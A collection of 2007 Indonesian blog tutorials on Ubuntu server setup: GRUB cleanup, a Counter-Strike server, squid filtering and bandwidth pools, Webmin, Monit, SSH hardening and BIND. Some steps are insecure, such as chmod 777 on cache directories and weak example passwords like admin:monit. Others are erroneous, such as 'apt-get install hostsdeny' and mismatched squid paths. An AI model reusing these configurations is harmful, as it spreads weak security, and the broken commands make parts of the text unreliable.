Hal ini akan menghapus list kernel pada menu Grub, tapi untuk beberapa kasus kita harus menghilangkannya secara manual. Edit file /boot/grub/menu.lst.
root# vi /boot/grub/menu.lst

Hapus baris-baris seperti dibawah ini:

title Ubuntu, kernel 2.6.22-9-generic
root (hd0,0)
kernel /boot/vmlinuz-2.6.22-9-generic root=UUID=34f3806f-36b8-494d-be17-78325684a0a5 ro quiet splash
initrd /boot/initrd.img-2.6.22-9-generic
quiet
savedefault

title Ubuntu, kernel 2.6.22-9-generic (recovery mode)
root (hd0,0)
kernel /boot/vmlinuz-2.6.22-9-generic root=UUID=34f3806f-36b8-494d-be17-78325684a0a5 ro single
initrd /boot/initrd.img-2.6.22-9-generic

Simpan dan keluar, lalu restart kompi.
Selamat mencoba...

Menginstall server game Counter Strikes di mesin Linux

2007-08-16T14:49:00.000+07:00

Keperluan installasi:

128kB/s down/upload,

1 GHz CPU,

512MB memori,

1 GB ruang HDD,

libstdc++.so.5.

Sebelumnya kita harus mendonlot beberapa paket yang dibutuhkan. Dan buat direktori tempat menyimpan file.

# mkdir /usr/hlds
# cd /usr/hlds

Download link-link dibawah ini dengan menggunakan wget [url_link].

hldsupdatetool.bin
metamod-1.19-linux.tar.gz
amxmodx-1.75a-base.tar.gz
amxmodx-1.75-cstrike.tar.gz

Installasi HDLS:

Lakukan perintah dibawah ini, masih dalam direktori /usr/hdls/ :

# chmod +x hldsupdatetool.bin
# ./hldsupdatetool.bin

Jika pada saat penginstalan muncul pesan “sh: uncompress: command not found”, langkah yang harus dilakukan adalah:

# ln -s /usr/bin/gunzip /usr/bin/uncompress

Setelah langkah-langkah diatas berhasil dilakukan maka kita akan mendapatkan file dengan nama `steam`. Dengan perintah inilah kita memulai installasi server CS yang sebenarnya:

# ./steam -command update -game cstrike -dir .

Sebaiknya setelah memberikan perintah ini kita menyeduh secangkir kopi ato siapkan tempat untuk istirahat sejenak. Ini akan berlangsung relatif lama (200MB) tergantung bandwidth internet masing-masing. Proses ini akan berakhir ditandai dengan pesan:

HLDS installation up to date

Konfigurasi HLDS

Kita membutuhkan konfigurasi server HDLS. Bisa di donlot pake perintah:

# wget http://download.softpedia.ro/linux/games/diverse/server.cfg

Installasi MetaMOD

Buat direktori yang diperlukan dalam meng-install MetaMOD:

# mkdir /usr/hlds/cstrike/addons
# mkdir /usr/hlds/cstrike/addons/metamod
# mkdir /usr/hlds/cstrike/addons/metamod/dlls

Lalu masuk ke direktori yang sudah dibuat tadi:

# cd /usr/hlds/cstrike/addons/metamod/dlls

Ekstrak file archive yang kita simpan di /usr/hlds/ :

# tar xfz /usr/hlds/metamod-1.19-linux.tar.gz

Setelah ini kita akan mendapatkan file `metamod_i386.so`. Langkah selanjutnya adalah membuat HDLS mengenal letak file `dll` metamod game. Edit file /usr/hlds/cstrike/liblist.game.

# vi /usr/hlds/cstrike/liblist.game

Edit baris:
gamedll_linux “dlls/cs_i386.so”

Ganti menjadi:
gamedll_linux “addons/metamod/dlls/metamod_i386.so”

Installasi AmxMODX

Masuk ke direktori cstrike dan lakukan perintah berikut ini:

# cd /usr/hlds/cstrike
# tar xfz /usr/hlds/amxmodx-1.75a-base.tar.gz
# tar xfz /usr/hlds/amxmodx-1.75-cstrike.tar.gz

Setelah di-ekstrak maka kita akan mendapatkan direktori dengan nama `amxmodx` di dalam /usr/hlds/cstrike. Berikutnya kita harus membuat MetaMOD menggunakan plugin AMXModX, dengan perintah:

# echo “linux addons/amxmodx/dlls/amxmodx_mm_i386.so” > /usr/hlds/cstrike/addons/metamod/plugins.ini

Konfigurasi AMXModX

Direktori konfigurasi ini terletak di /usr/hlds/cstrike/addons/amxmodx/configs.

Buat user agar dapat menggunakan akses ke server

Kita bisa membuat username dan password untuk administrator game di server. Penambahan user ini akan disimpan di file `users.ini`. Sebagai contoh, jika kita menambahkan account admin dengan username “Player” dan password “Player123”, maka user admin harus mengetikan perintah berikut ini untuk dapat konek ke server:

# name Player setinfo _pw Player123

Sintak “_pw” disini dapat dimodifikasi di file amxx.cfg juga di file “amx_password_field” cvar. Contoh, variable “_pw” disini bisa diganti dengan variable “_terserah”, tapi player harus mengetikan perintah berikut sebelum konek ke server:

# setinfo _terserah Player123

Menambahkan statistik permainan

Ini merupakan pilihan yang tidak wajib, tapi bisa saja kita tambahkan untuk melihat statistik permainan dalam beberapa sesi. Statistik ini akan ditampilkan pada akhir ronde permainan. Plugin ini dinamakan “StatsX” dan dapat diaktifkan dengan meng-edit file modules.ini dan plugins.ini.

Buka modules.ini lalu hapus tanda comment (#) pada baris:

csx_amxx_i386.so

Buka plugins.ini lalu hapus tanda comment (#) pada baris:

statsx.amxx
miscstats.amxx
stats_logging.amxx

Memulai menggunakan server

Pada direktori /usr/hlds ketikan perintah:

# cd /usr/hlds
# ./hlds_run -game cstrike -autoupdate +maxplayers 20 +map de_dust2

Jika kita menginginkan server berjalan pada background, perintahnya:

# ./hlds_run -game cstrike -autoupdate +maxplayers 20 +map de_dust2 > /dev/null 2>&1 &

Menggunakan tampilan GUI pada layar

Kita asumsikan system sudah memiliki GUI pada linux kita. Lalu start server CS dengan perintah:

# cd /usr/hlds
# screen -A -m -d -S hlds ./hlds_run -game cstrike -autoupdate +maxplayers 20 +map de_dust2

Karena dalam artikel ini saya menggunakan Ubuntu Feisty Fawn, maka untuk mengaktifkan server ini agar dapat berjalan pada saat boot system, perintahnya:

# echo “cd /usr/hlds” >> /etc/rc.local
# echo “screen -A -m -d -S hlds ./hlds_run -game cstrike -autoupdate +maxplayers 20 +map de_dust2″ >> /etc/rc.local

Lalu reboot kompi.

Intermezo: AK47 senjata paling favorit klo maen CS. Beware TNT, terorists is not tired...

Selamat bermain game Counter Strikes dengan server system Linux.

Get out of there she's gonna blow... :D

Akhirnya Feisty Fawn datang juga

2007-08-10T09:02:00.000+07:00

Fuiiih... akhirnya setelah menunggu kurang lebih hampir sebulanan, Feisty Fawn yang saya pesan dari https://shipit.ubuntu.com/ datang juga. Akhirnya merasakan juga punya cd Ubuntu versi "asli", bukan Ubuntu "Pirate Edition". Saya pesan 2 cd Feisty Fawn versi PC biasa dan 1 cd Feisty Fawn versi PC 64bit plus dikasi bonus 4 sticker Ubuntu. Bagi Linuxer khususnya Ubuntu(ers) cara mendapatkan cd Ubuntu gampang banget, tinggal registrasi di https://shipit.ubuntu.com/ dan klik apa yang di pesan. Sementara ini saya lagi menunggu Ubuntu 7.10 dengan codename "Gusty Gibbon" di shipit. Oia saya mau share sedikit foto kebahagiaan saya bersama Feisty Fawn nih... Sampe-sampe helm kesayangan pun ikut merasakan pernah ditempeli sticker ubuntu. Cuma sayang ternyata kiriman dari Belanda gak ada bau-bau kejunya, hehehe...

Bandwidth Limiter dengan Delay Pools (Lanjutan squid-2.6.STABLE12)

2007-08-08T11:05:00.000+07:00

Pada installasi squid di artikel sebelumnya saya membuat satu blok script dengan nama Parameter Delaypool pada file /etc/squid.conf, berikut ini cuplikannya:

#--------------------------------------------------------------------------
# Parameter Delaypool
#--------------------------------------------------------------------------
acl dadhee src 192.168.0.111/255.255.255.255 # Access Control List dengan nama dadhee
acl server src 192.168.0.254/255.255.255.255 # acl dengan nama server
acl umum src 192.168.0.0/255.255.255.0
acl fenti src 192.168.0.11

acl TIME time SMTWHFA 08:00-17:00 # acl dengan nama TIME [nama_hari] [waktu_akses]

acl download url_regex -i ftp \.exe$ \.mp3$ \.mp4$ \.tar.gz$ \.gz$ \.tar.bz2$ \.rpm$ \.zip$ \.rar$
acl download url_regex -i ftp \.mp3$ \.mp4$ \.tar.gz$ \.gz$ \.tar.bz2$ \.rpm$ \.zip$ \.rar$
acl download url_regex -i \.avi$ \.mpg$ \.mpeg$ \.rm$ \.iso$ \.wav$ \.mov$ \.dat$ \.mpe$ \.mid$
acl download url_regex -i \.midi$ \.rmi$ \.wma$ \.wmv$ \.ogg$ \.ogm$ \.m1v$ \.mp2$ \.mpa$ \.wax$
acl download url_regex -i \.m3u$ \.asx$ \.wpl$ \.wmx$ \.dvr-ms$ \.snd$ \.au$ \.aif$ \.asf$ \.m2v$
acl download url_regex -i \.m2p$ \.ts$ \.tp$ \.trp$ \.div$ \.divx$ \.mod$ \.vob$ \.aob$ \.dts$
acl download url_regex -i \.ac3$ \.cda$ \.vro$ \.deb$

delay_pools 4

delay_class 1 1
delay_parameters 1 -1/-1
delay_access 1 allow dadhee
delay_access 1 allow server
delay_access 1 deny all

# bandwidth 8 kbytes/sec, bila file yang diakses melebihi 64Kbte
delay_class 2 2
delay_parameters 2 8000/8000 1000/64000
delay_access 2 allow umum
delay_access 2 allow download TIME
delay_access 2 deny all

# bandwidth unlimited
delay_class 3 1
delay_parameters 3 -1/-1
delay_access 3 allow umum
delay_access 3 allow download !TIME
delay_access 3 deny all

# bandwidth 4 kbytes/sec, bila file yang diakses melebihi 32 Kbyte
delay_class 3 1
delay_parameters 3 4000/32000
delay_access 3 allow fenti
delay_access 3 allow download TIME
delay_access 3 deny all

Penjelasan:

delay_pools [jumlah delay_pools]
Adalah pen-deklarasian berapa delay_pools yang akan kita buat.

delay_class
Adalah pen-deklarasian mengenai class pembagian bandwidth dari setiap pool. Dengan syarat 1 pool hanya boleh memiliki 1 class

Berikut adalah pembagian class bagaimana cara membagi bandwidth:

Class 1:
Bandwidth yang tersedia akan diberikan sama rata kepada setiap user squid.
Contoh: apabila total bandwidth 256 kbps, maka akan dipakai bersama untuk keperluan browsing.

Class 2:
Bandwidh yang tersedia akan dibatasi untuk keperluan download dan sisanya digunakan untuk keperluan browsing secara bersama oleh user-user squid.
Contoh: apabila total bandwidth 256 kbps, Dipakai 64 kbps untuk keperluan download dan sisanya 192 kbps untuk keperluan browsing.

Class 3:
Bandwidth yang tersedia akan dibatasi menurut jumlah network yang terkoneksi. Dan tiap-tiap user squid dalam wilayah network tersebut akan menerima sama rata sesuai dengan total bandwidth per network.
Contoh: Misal total bandwidth 256 kbps, 64 kbps dipakai untuk browsing dan sisanya dipakai untuk keperluan lain. Dalam jaringan terbagi 3 network, A(192.168.1.0/24), B(192.168.2.0/24) dan C(192.168.3.0/24). Misal oleh admin jatah tiap-tiap network tersebut 64 kbps. Maka,
User-user yang online pada net A akan mendapat bandwidth sama besar dari total 64 kbps.
User-user yang online pada net B akan mendapat bandwidth sama besar dari total 64 kbps.
User-user yang online pada net C akan mendapat bandwidth sama besar dari total 64 kbps.

misal:
delay_class 1 2 # pool 1 menggunakan type class 2
delay_class 2 3 # pool 2 menggunakan type class 3

delay_access [nama_acl]
Memberikan batasan siapa saja yang diperbolehkan menggunakan delay pools ini dengan memanggil nama bagian acl (Access Control List). Dengan catatan setelah menentukan batasan jangan lupa akhiri dengan 'deny all'.
Contoh:
delay_access 1 allow dadhee
delay_access 1 deny all
delay_access 2 allow admin
delay_access 2 deny all

delay_parameters
Ini adalah rule terpenting dari delay_pools, mempunyai format yang disesuaikan dengan class yang dipakai. Di setiap tipe yang dipakai hanya ada satu aturan main yaitu restore/max.
restore adalah indikator maksimum kecepatan data yang dapat dilewatkan bila harga max sudah terlampaui, dalam satuan bytes/second.
max adalah besarnya file yang dapat dilewatkan tanpa melewati proses delay, dalam satuan bytes.

Misalkan:

Class 1:
delay_parameter [pool individual]
Contoh: delay_parameters 1 1000/128000
Berarti semua network akan mendapatkan bandwidth yang sama di pool nomor 1. Sebesar 1 kbytes/second atau setara dengan 8 kbps dengan burstable (maks bandwidth yang dapat diakses) sebesar 128 kb.

Class 2:
Contoh: delay_parameters 1 64000/64000 1000/128000
Berarti squid akan memakai bandwidth maksimum (64000*8) sama dengan 512 kbps dari semua bandwidth. Apabila terdapat network yang berbeda, maka total yang dihabiskan tetap 512 kbps dan tiap user akan mendapat bandwidth maksimum 1 kbytes.second (8 kbps), dengan burstable 64 kb.

Class 3:
Contoh: delay_parameters 1 32000/32000 8000/8000 1000/128000
Berarti squid akan memakai bandwidth maksimum (32000*8) sama dengan 256 kbits dari semua bandwidth. Apabila terdapat lebih dari satu network, maka setiap network akan dipaksa maksimum (8000*8) sama dengan 64 kbps dan tiap user pada satu network akan mendapat bandwidth maksimum 1 kbytes/sec (8 kbps), dengan burstable 64 kb.

CATATAN:
1 byte = 8 bit.

Waktu akses:
Penjelasan pada baris:
acl TIME time SMTWHFA 08:00-17:00
Adalah bentuk acl pewaktuan yang dimana SMTWHFA berarti:
S=Sunday, M=Monday, T=Tuesday, dan seterusnya
Bentuk baris acl TIME time SMTWHFA 08:00-17:00 harus diikuti dengan:
delay_access [delay_pools] allow [nama_acl_download] TIME untuk memperbolehkan menggunakan fasilitas download berlaku selama 7 hari dan dengan batasan waktu dari jam 08:00 sampai 17:00. Atau delay_access [delay_pools] deny [nama_acl_download] TIME untuk menolak menggunakan fasilitas download pada waktu yang sudah ditentukan.

squid-2.6.STABLE12 Installasi dan konfigurasi sebagai proxy filtering, cache server, dan bandwidth limiter

2007-08-03T16:08:00.000+07:00

Salam opensource..!
Saya rencanakan artikel ini di bagi ke beberapa bagian. Untuk artikel yang pertama ini saya khususkan pada cara installasi, konfigurasi sederhana dan bagaimana cara menggunakan squid. Untuk mendapatkan squid bisa di download di sini. Dalam artikel ini saya menggunakan squid 2.6 STABLE 12. Berikut adalah cara installasi squid paket tarball. Selalu menggunakan root user dalam meng-install.
root# tar xfvz squid-2.6.STABLE12.tar.gz -C /usr/local/share
root# cd /usr/local/share
root# ./configure --prefix=/usr/local/squid --sysconfdir=/etc/ --sbindir=/usr/local/squid/sbin --bindir=/usr/local/squid/sbin --enable-linux-netfilter --enable-delay-pools --enable-snmp --enable-cache-digest --enable-useragent-log --enable-arp-acl --enable -gnuregex --enable-icmp --enable-htcp --enable-ssl --enable-large-cache-files --enable-carp --with-pthreads --enable-removal-policies=heap --enable-arp-acl --with-large-files --enable-forw-via-db --enable-leakfinder --enable-storeio=diskd,ufs --enable-truncate --enable-err-languages=English --enable-default-err-languages=English
root# make
root# make install

Apabila sudah diinstall maka yang perlu diperhatikan adalah letak dari file squid.conf yang ada di /etc/squid.conf dan letak file-file yang dibutuhkan squid di /usr/local/squid/.

Buat direktori cache:
root# mkdir --mode=777 /usr/local/squid/var/cache/
root# chown -Rf squid:squid /usr/local/squid/var/cache/

Buat user squid:
root# useradd –d /usr/local/squid/var/cache/ -r –s /dev/null squid >/dev/null 2>&1

Buat file kosong access.log dan cache.log:
root# touch /usr/local/squid/var/logs/access.log
root# touch /usr/local/squid/var/logs/cache.log
root# chown -Rf squid:squid /usr/local/squid/var/logs/
root# chmod -Rf 777 /usr/local/squid/var/cache/

Download file squid.conf.tar.gz di sini. Lalu ekstrak file tersebut di /etc/.
root# tar xfvz squid.conf.tar.gz -C /etc/

Setelah meng-ekstrak file squid.conf.tar.gz di /etc/ langkah selanjutnya adalah membuat direktori /usr/local/squid/etc/squid/. Direktori ini akan menjadi tempat rule file manajemen akses untuk browsing dari client.
root# cd /usr/local/squid
root# mkdir etc
root# mkdir squid
root# chown -Rf squid:squid /usr/local/squid/etc/

Langkah selanjutnya adalah membuat rule berupa file-file yang isinya adalah nama-nama domain yang kita ijinkan/tidak untuk di browsing oleh komputer client. Atau untuk lebih gampangnya silahkan download file-file tersebut disini. Kemudian ekstrak file tersebut di /usr/local/squid/etc/squid/. Setelah di ekstrak akan berisi 8 file dengan nama masing-masing: domains_agressif, domains_hacking, domains_warez, noporn, porn, urls_agressif, urls_hacking, dan urls_warez. Ubah kepemilikan file-file tersebut:
root# chown -Rf squid:squid /usr/local/squid/etc/

File-file ini berhubungan dengan blok konfigurasi "Manajemen Akses" di /etc/squid.conf. Penjelasan, dalam blok "Manajemen Akses" ada baris sbb:
acl porn url_regex "/usr/local/squid/etc/squid/porn"
http_access deny porn

Maksudnya adalah kita membuat acl atau rule pada URL address yang dibuka di komputer client yang melewati proxy, dengan rule yang disimpan pada /usr/local/squid/etc/squid/porn. Pada baris kedua, http_access deny [nama_acl] berarti menolak semua list domain yang telah dideklarasikan oleh 'acl [nama_acl]', apabila komputer-komputer client membuka salah satu rule pada file porn (nama_acl), yang terletak di /usr/local/squid/etc/squid/.

Begitu pula sebaliknya, masih dalam blok "Manajemen Akses" sbb:
acl noporn url_regex "/usr/local/squid/etc/squid/noporn"
http_access allow noporn

Berarti kita membuat acl dengan nama 'noporn' dan rule-nya disimpan di /usr/local/squid/etc/squid/noporn. Sedangkan http_access allow [nama_acl] adalah syntax untuk mengijinkan komputer client membuka rule [nama_acl].

Blok "Manajemen Akses" di /etc/squid.conf ini berfungsi sebagai filtering browsing. Hal ini berlaku pada komputer client yang melewati proxy squid. Ini dapat mencegah user pada client membuka alamat situs-situs yang tidak kita inginkan untuk dibuka.

Untuk menjalankan squid untuk pertama kali kita harus membuat cache terlebih dahulu dengan perintah:
root# /usr/local/squid/sbin/squid -z

Apabila pada saat pembentukan cache kita mengalami masalah folder cache tidak bisa ditulis oleh squid, maka cek kembali hak kepemilikan terhadap file tersebut. Atau lakukan perintah dibawah ini, serta ulangi langkah diatas.
root# chown -Rf squid:squid /usr/local/squid/*

Cek apakah service squid sudah berjalan, dengan perintah:
root# /usr/local/squid/sbin/squid -NCdl

atau dengan perintah:

root# /usr/local/squid/sbin/squid -sYD

Jika ditemukan kesalahan konfigurasi akan terlihat dengan perintah ini. Jika konfigurasi sudah fix, silahkan terminate squid dengan menekan Ctrl+C. Kemudian jalankan squid dengan perintah:
root# /usr/local/squid/sbin/squid -D

Apabila kita ingin squid jalan setiap kali kompi restart, ketikan command berikut:
root# echo "/usr/local/sbin/squid -z" >> /etc/rc.local
root# echo "/usr/local/sbin/squid start" >> /etc/rc.local

(akan ada penambahan/revisi pada tutorial ini)

Burning CD lewat console mode

2007-08-03T14:51:00.000+07:00

Salam open source..!

Burning CD lewat console? Kenapa tidak... Silahkan surfing di situs BashBurn. Sebelumnya download dulu aplikasi BashBurn. Setelah download selesai kita akan mendapatkan file BashBurn-2.1.1.tar.gz. Cara installasinya gampang:
root# tar xfvz BashBurn-2.1.1.tar.gz -C /usr/local/share

Masuk ke direktori /usr/local/share tempat dimana file BashBurn-2.1.1.tar.gz di-ekstrak, lalu install dengan meng-eksekusi file Install.sh, dan ikuti perintahnya
root# cd /usr/local/share
root# ./Install.sh

Cara menjalankan aplikasi ini adalah dengan mengetikan perintah:
root# bashburn

Maka yang akan muncul seperti menu dibawah ini:

Kita diharuskan terlebih dahulu meng-Configure BashBurn, maka tekan angka '7' kemudian 'enter'.

Disini saya menggunakan Ubuntu Feisty Fawn dimana path dari cdrom berada di /media/cdrom0. Apabila telah selesai mengkonfigurasi maka 'Apply defaults' dengan mengetikan angka '26', lalu '0' untuk kembali ke menu utama. Untuk cara burn data silahkan baca manualnya, terlalu panjang kalau saya sertakan juga disini :D.
Selamat mencoba...

Menginstall Webmin di Ubuntu Feisty Fawn

2007-08-03T09:34:00.000+07:00

Salam open source...!
Ini artikel kedua mengenai installasi webmin di blog ini. Pada artikel pertama installasi webmin terkesan mudah dan tidak ada masalah. Masalah ditemui ketika meng-install webmin pada distro Ubuntu Feisty Fawn. Ketika googling banyak user yang menyarankan agar terlebih dahulu meng-install LAMPP. Saya lebih memilih tidak menuruti suara mayoritas di google, lebih baik kalau kita punya pemikiran sendiri kan.. siapa tau orang lain mengikuti jejak yang sudah kita tinggalkan... :D

Pertama-tama pembaca harus mengikuti aturan main yang mau gak mau harus disepakati bersama, karena ini blog saya. Hehehe... Saya lebih senang installasi menggunakan console mode dan bertindak sebagai root user (bukan memakai perintah "sudo").

Source webmin bisa didapatkan di sini. Dan untuk mendapatkannya kita butuh bantuan 'wget'.
root# wget http://prdownloads.sourceforge.net/webadmin/webmin_1.340_all.deb

Setelah kita men-download 'webmin_1.3.40_all.deb', selanjutnya installasi dengan perintah.
root# dpkg -i webmin_1.340_all.deb
Selecting previously deselected package webmin.
(Reading database ... 135556 files and directories currently installed.)
Unpacking webmin (from webmin_1.340_all.deb) ...
Setting up webmin (1.340) ...
Webmin install complete. You can now login to https://pegel-linux:10000/
as root with your root password, or as any user who can use sudo
to run commands as root.

Kalau pada saat installasi webmin, system meminta library-library yang kurang maka ketikan perintah ini:
root# apt- get install -f

Apabila sudah berhasil meng-install, langkah selanjutnya adalah mengganti default password webmin dengan password baru yang kita inginkan. Aturannya: changepass.pl .
root# /usr/share/webmin/changepass.pl /etc/webmin root [password]

Langkah berikutnya hampir sama dengan langkah-langkah installasi pada artikel pertama.
Selamat mencoba...

Monitoring Ubuntu Desktop dan Service Menggunakan Monit

2007-08-01T13:37:00.000+07:00

Satu lagi aplikasi sederhana untuk me-monitor proses, file, direktori dan device menggunakan web interface. Dengan aplikasi jenis monit ini user dapat me-maintain systemnya dari jarak jauh dan dapat langsung meng-eksekusi daemon pada saat shell tidak dapat diandalkan. Berikut adalah fitur monit yang diambil dari man page.

Monit Features

* Daemon mode - poll programs at a specified interval
* Monitoring modes - active, passive or manual
* Start, stop and restart of programs
* Group and manage groups of programs
* Process dependency definition
* Logging to syslog or own logfile
* Configuration - comprehensive controlfile
* Runtime and TCP/IP port checking (tcp and udp)
* SSL support for port checking
* Unix domain socket checking
* Process status and process timeout
* Process cpu usage
* Process memory usage
* Process zombie check
* Check the systems load average
* Check a file or directory timestamp
* Alert, stop or restart a process based on its characteristics
* MD5 checksum for programs started and stopped by monit
* Alert notification for program timeout, restart, checksum, stop resource and timestamp error
* Flexible and customizable email alert messages
*Protocol verification. HTTP, FTP, SMTP, POP, IMAP, NNTP, SSH, DWP,LDAPv2 and LDAPv3
*An http interface with optional SSL support to make monit accessible from a webbrowser

Cara mendapatkan monit di Ubuntu Feisty Fawn sangat gampang, tinggal ketikan perintah ini pada console mode. (Lagi-lagi saya lebih senang bertindak sebagai root).

root# apt-get install monit

Setelah monit ter-install maka langkah selanjutnya adalah meng-edit file /etc/monit/monitrc. Tambahkan baris-baris berikut pada file tersebut.

set daemon 120 # monit akan refresh tiap 2 menit
set logfile syslog facility log_daemon
set httpd port 2812 # port http yang digunakan monit
use address localhost # memungkinkan diakses dari localhost
allow 192.168.0.111/255.255.255.255 # mengijinkan akses dari ip tertentu
allow admin:monit # User: admin dan Password:monit
# Check HTTPD
check process apache2 with pidfile /var/run/apache2.pid
start program = "/etc/init.d/apache2 start"
stop program = "/etc/init.d/apache2 stop"
# Check performa CPU
if cpu is greater than 60% for 2 cycles then alert
if cpu > 80% for 5 cycles then restart
if totalmem > 200.0 MB for 5 cycles then restart
if children > 250 then restart
if loadavg(5min) greater than 10 for 8 cycles then stop
if 3 restarts within 5 cycles then timeout
group server
# Check MySQL
check process mysql with pidfile /var/run/mysqld/mysqld.pid
group database
start program = "/etc/init.d/mysql start"
stop program = "/etc/init.d/mysql stop"
if failed host 127.0.0.1 port 3306 then restart
if 5 restarts within 5 cycles then timeout
# Check SSHD
check process sshd with pidfile /var/run/sshd.pid
start program "/etc/init.d/ssh start"
stop program "/etc/init.d/ssh stop"
if failed port 22 protocol ssh then restart
if 5 restarts within 5 cycles then timeout

include /etc/monit/default.monitrc
include /etc/monit/mysql.monitrc

Disini penulis hanya mengidentifikasikan 3 service saja. Apabila ingin memonitor service lain tinggal ditambahkan konfigurasi di baris bawahnya, isi script konfigurasi tidak jauh beda dari yang sebelumnya. Keterangan lebih lanjut bisa di http://www.tildeslash.com/monit/doc/manual.php .

Apabila selesai di konfigurasi awal, kita bisa cek konfigurasi tadi dengan perintah:

root# monit -t

Sebelum menjalankan monit yang perlu diperhatikan adalah meng-edit terlebih dahulu file /etc/default/monit .
Ganti nilai '0' dengan '1' pada baris:
startup = 0

menjadi

startup = 1

Lalu start aplikasi monit dengan perintah:

root# /etc/init.d/monit start
Menjalankan aplikasi ini di kompi klien dengan membuka web browser dan ketikan http://[ip_server]:[port_monit]/ . Perhatikan port default monit 2812 tidak di block oleh server.

misal: http://www.pegel-linux.com:2812/

Maka dialog pertama yang akan muncul adalah:

Masukan username: admin dan password: monit. Lalu OK.
Tampilan setelah masuk seperti ini:

Selamat mencoba.

Mengamankan SSH Server di Ubuntu 7.04

2007-07-27T14:48:00.000+07:00

Sial... hari ini gw ketawa2 sendiri di kantor abis baca blog yang kocak banget, klik aja , sadar2 gw hari ini harus posting tutorial, dalam rangka ekspansi terhadap distro ubuntu 7.04 alias Feisty Fawn. Sayangnya pas install ssh server, ubuntu gak dilengkapi dengan direktori2 yang gw butuhin, biasanya kalo pake SuSe gw pagi2 dateng kantor, buka kompi trus ketik perintah:
root# tail -f /var/log/secure ,
tapi ini gak langsung ada... Jadi artikel ini menjelaskan dari awal bagaimana membuat SSH server yang "sedikit" secure :D .

Pertama-tama buka console mode dan ketikan:
dadhee$ su
passwd: [masukan passwd root]
root#

Karena gw males klo ngasi perintah dengan "sudo" didepannya. OK... klo dah masuk ke root, sekarang tinggal install ssh server aja. Perintahnya:
root# apt-get install ssh

Klo dah terinstall, masuk ke file configurasi ssh di /etc/ssh/sshd_config .
Edit file tersebut:
root# vi /etc/ssh/sshd_config

Ganti port default ssh, 22 dengan port 6235 (kayak seri HP Nokia gw) biar gampang diinget :D. Langkah selanjutnya adalah me-restart daemon ssh dengan perintah:
root# /etc/init.d/ssh restart

Catatan: Kompi client tempat gw beraksi ini punya ip_address: 192.168.0.222, jadi kalau mau konek ke server ssh ini perintahnya:
root# ssh -p 6235 [user]@[ip_server_ssh]

Yang kita butuhkan disini adalah otentikasi... siapa aja yang boleh konek ke server ssh kita dan siapa aja yang kita usir secara tidak hormat dari server ssh. Langkah yang harus diperhatikan adalah membuat dua file yang secara default distro ubuntu tidak memilikinya.
root# touch /etc/hosts.allow
root# touch /etc/hosts.deny

Lalu edit dua file yang baru dibuat. Isikan baris berikut pada file /etc/hosts.deny
root# vi /etc/hosts.deny
ALL: ALL

Dengan begitu semua host yang mencoba konek ke server ssh kita di reject. Akan tetapi kita buat pengecualian dengan meng-edit file /etc/hosts.allow .
root# vi /etc/hosts.allow
sshd: 192.168.0.222 #dimana ini ip kompi client yang akan melakukan remote ssh

Langkah berikutnya adalah meng-install aplikasi "denyhosts". Karena aplikasi berbasiskan bahasa pemrograman python maka mau gak mau kita harus install terlebih dahulu aplikasi python.
root# apt-get install python
root# apt-get install hostsdeny

Setelah selesai meng-install ke dua aplikasi barusan, selanjutnya tambahkan baris berikut ke dalam file /etc/denyhosts.conf :
root# vi /etc/denyhosts.conf
SECURE_LOG = /var/log/auth.log
HOSTS_DENY = /etc/hosts.deny
LOCK_FILE = /var/run/denyhosts.pid

Apabila sampai tahap ini tidak menemukan kendala maka ssh sudah bisa digunakan. Sekarang langkah terakhir adalah menginstall aplikasi BUM (Boot Up Manager) untuk membuat agar aplikasi "denyhosts" aktif pada saat system start.
root# apt-get install bum

Sampai sini ada yang kurang gak yaa...? Mudah2an sih gak ada. OK... selamat mencoba.

Membangun BIND Server di Ubuntu Feisty Fawn

2007-07-20T14:31:00.000+07:00

Setelah lama bergaul dengan keluarga RH, Mdk dan terakhir SuSe, akhirnya Ubuntu tempat berlabuh sementara pada saat ini. Penulis mengawali ekpansi langsung pada Ubuntu Feisty Fawn. Mencoba beberapa setting DNS server dengan menggunakan BIND. Untuk mendapatkan paket BIND kita hanya perlu mengetikan perintah berikut di console mode.
root# apt-get install bind

Setelah paket BIND di donlot dan terinstall, maka langkah selanjutnya adalah menuju direktori /etc/bind tempat paket tersebut berada. Berikut adalah isi dari direktori /etc/bind/ .
root# ls
db.0 db.local named.conf
db.127 db.root named.conf.local
db.255 named.conf.options

Konfigurasi pertama adalah meng-edit file named.conf . Tambahkan script pada berikut pada baris terakhir file named.conf . Dengan catatan sapuabdg.net adalah domain name yang akan kita buat dan alamat ip server 192.168.0.254 serta hostname-nya pegel-linux.
zone "sapuabdg.net" {
type master;
file "/etc/bind/forward.zone";
};

zone "0.168.192.in-addr.arpa" {
type master;
file "/etc/bind/reverse.local";
};

Langkah kedua adalah dengan membuat file forward.zone dan reverse.local. Karena isi filenya hampir sama dengan bawaan system, maka kita hanya menyalin file yang sudah ada dan mengganti nama file dengan nama yang kita maksud. Gini nih ceritanya... File db.255 itu isinya hampir sama dengan isi file forward.zone yang akan kita buat. Sedangkan file db.local hampir sama dengan reverse.local. Lantas kita copy aja file tersebut.
root:/etc/bind# cp db.255 forward.zone
root:/etc/bind# cp db.local reverse.local

Langkah ketiga adalah merubah isi file forward.zone dan reverse.local dengan script sebagai berikut.

Untuk file /etc/bind/forward.zone

$TTL 604800
@ IN SOA pegel-linux.sapuabdg.net. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS pegel-linux
IN MX 10 mail
pegel-linux IN A 192.168.0.254

Kemudian lakukan hal yang sama dengan file yang tadi.

Untuk file /etc/bind/reverse.local

$TTL 604800
@ IN SOA pegel-linux.sapuabdg.net. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS pegel-linux
254 IN PTR pegel-linux.sapuabdg.net.
254 IN PTR mail.sapuabdg.net.
www IN CNAME pegel-linux

Langkah keempat adalah menambahkan satu baris script berikut pada file /etc/hosts.
192.168.0.254 pegel-linux

Setelah kita buat konfigurasi-konfigurasi diatas maka langkah terakhir adalah me-restart service BIND pada server dan menghidupkan service http dengan perintah:
root# /etc/init.d/bind start
root# /etc/init.d/apache2 start

Kalau misalnya system kita belum terdapat paket http atau apache, kita bisa mendapatkannya dengan melakukan perintah.
root# apt-get install apache2

Setelah memastikan service BIND dan apache sudah berjalan di server, maka yang perlu kita lakukan di komputer client adalah men-setting network untuk bisa me-resolve ke server. Lalu buka web browser dan ketikan alamat www.sapuabdg.net atau bisa juga dengan alamat pegel-linux.sapuabdg.net .

Selamat mencoba. Salam open source...!!

